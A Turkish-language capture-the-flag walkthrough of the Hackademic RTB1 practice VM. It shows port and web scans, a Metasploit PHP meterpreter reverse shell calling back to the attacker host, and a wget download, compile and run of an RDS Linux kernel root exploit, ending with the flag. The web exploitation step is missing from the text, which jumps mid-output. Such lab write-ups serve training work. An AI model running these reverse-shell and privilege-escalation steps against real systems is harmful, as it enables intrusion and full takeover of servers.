Merhaba ve hoş geldiniz. Bugün, Hackdemic adlı VM?ye dayanan başka bir ?oyun bitti? pentesting öğreticisi yazacağım (bu öğretici RTB1 Olduğundan Seviye 1 olacak, hala seviye 2?nin üstündeyim). Bu ?mr.pr0n? tarafından oluşturulan oldukça yeni bir VM, RTB1 & RTB2 yi buradan indirebilirsiniz.
Hadi iyi şeylere geçelim, 2 VM kullanacağım:
Saldırgan: Backtrack 5 => 192.168.111.129
Kurban: Hackdemic.RTB1 => 192.168.111.131
(1) Döküm
Önce oldukça sınırlı olan saldırı alanına bir göz atalım (Sonuçlar burada ihmal edilmiş olsa bile, uniscorn ile tam bir UDP ve TCP bağlantı noktası taraması yaptığımı belirtmem gerek). Tamam, neyimiz var bir bakalım.
Kod:
root@bt:~# nmap -sS -sV -T5 192.168.111.131
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-11-15 21:59 CET
Nmap scan report for 192.168.111.131
Host is up (0.00046s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.15 ((Fedora))
MAC Address: 00:0C:29:73:5A:74 (VMware)
root@bt:/pentest/web/nikto# ./nikto.pl -h http://192.168.111.131/Hackademic_RTB1/
- Nikto v2.1.4
---------------------------------------------------------------------------
+ Target IP: 192.168.111.131
+ Target Hostname: 192.168.111.131
+ Target Port: 80
+ Start Time: 2011-11-15 20:28:15
---------------------------------------------------------------------------
+ Server: Apache/2.2.15 (Fedora)
+ Retrieved x-powered-by header: PHP/5.3.3
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.2.15 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final release)
and 2.0.64 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ /index.php/\">
/root/Desktop/evil.php
################################################## ##################################################
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.111.129 yes The listen address
LPORT 9988 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > exploit[*] Started reverse handler on 192.168.111.129:9988 [*] Starting the payload handler...[*] Sending stage (38553 bytes) to 192.168.111.131[*] Meterpreter session 1 opened (192.168.111.129:9988 -> 192.168.111.131:33912) at
2011-11-15 20:27:52 +0100
meterpreter > shell
Process 2598 created.
Channel 0 created.
whoami
apache
uname -a
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
cd ../../../../../../../../../../../
ls
bin
boot
dev
etc
home
lib
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var
cd root
/bin/sh: line 6: cd: root: Permission denied
(3)Zengin adamın Sheli
Yani bu oldukça havalı ?apache? ayrıcalıklarına sahip bir shellimiz var ancak yukarıda gördüğünüz gibi ?/root? dizinine erişemiyoruz. Geriye kalan tek şey yerel bir ?Linux Kernel 2.6.3? exploiti bulmaktır. Bu biraz kafamı karıştırdı, exploit-db?de geçerli bir exploit bulamadım ve bir süre umutsuzluğa kapıldım, hehe. Google?ın dostunuz olduğunu unutmayın, aşağıdaki ekran görüntüsüne bakın.

Bu listedeki ilk link aslında tam olarak aradığımız şey, dahası link doğrudan ?*.c? exploiti ile direkt olarak ilgili (ne kadarda yardımcı). Bu exploiti indirdim, adını ?rds.c? olarak değiştirdim ve apache dizinime koydum. Her şey son oyunumuz için hazır, ?fakir adamın Shelli? ne geri dönelim ve onu zengine çevirelim :p
<div style="margin:20px; margin-top:5px"> Kod:
cd /tmp
wget 192.168.111.129/rds.c
--2011-11-15 17:15:27-- http://192.168.111.129/rds.c
Connecting to 192.168.111.129:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6435 (6.3K) [text/x-csrc]
Saving to: `rds.c'
0K ...... 100% 187M=0s
2011-11-15 17:15:27 (187 MB/s) - `rds.c' saved [6435/6435]
ls
orbit-gdm
pulse-PKdhtXMmr18n
rds.c
gcc rds.c -o rds
./rds[*] Linux kernel >= 2.6.30 RDS socket exploit[*] by Dan Rosenberg[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09dab20
[+] Resolved rds_ioctl to 0xe09c506a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452[*] Overwriting function pointer...[*] Linux kernel >= 2.6.30 RDS socket exploit[*] by Dan Rosenberg[*] Resolving kernel addresses...
[+] Resolved rds_proto_ops to 0xe09dab20
[+] Resolved rds_ioctl to 0xe09c506a
[+] Resolved commit_creds to 0xc044e5f1
[+] Resolved prepare_kernel_cred to 0xc044e452[*] Overwriting function pointer...[*] Triggering payload...[*] Restoring function pointer...
whoami
root
cat /root/key.txt
Yeah!!
You must be proud because you 've got the password to complete the First *Realistic* Hackademic Challenge
(Hackademic.RTB1) :)
$_d&jgQ>>ak\#b"(Hx"o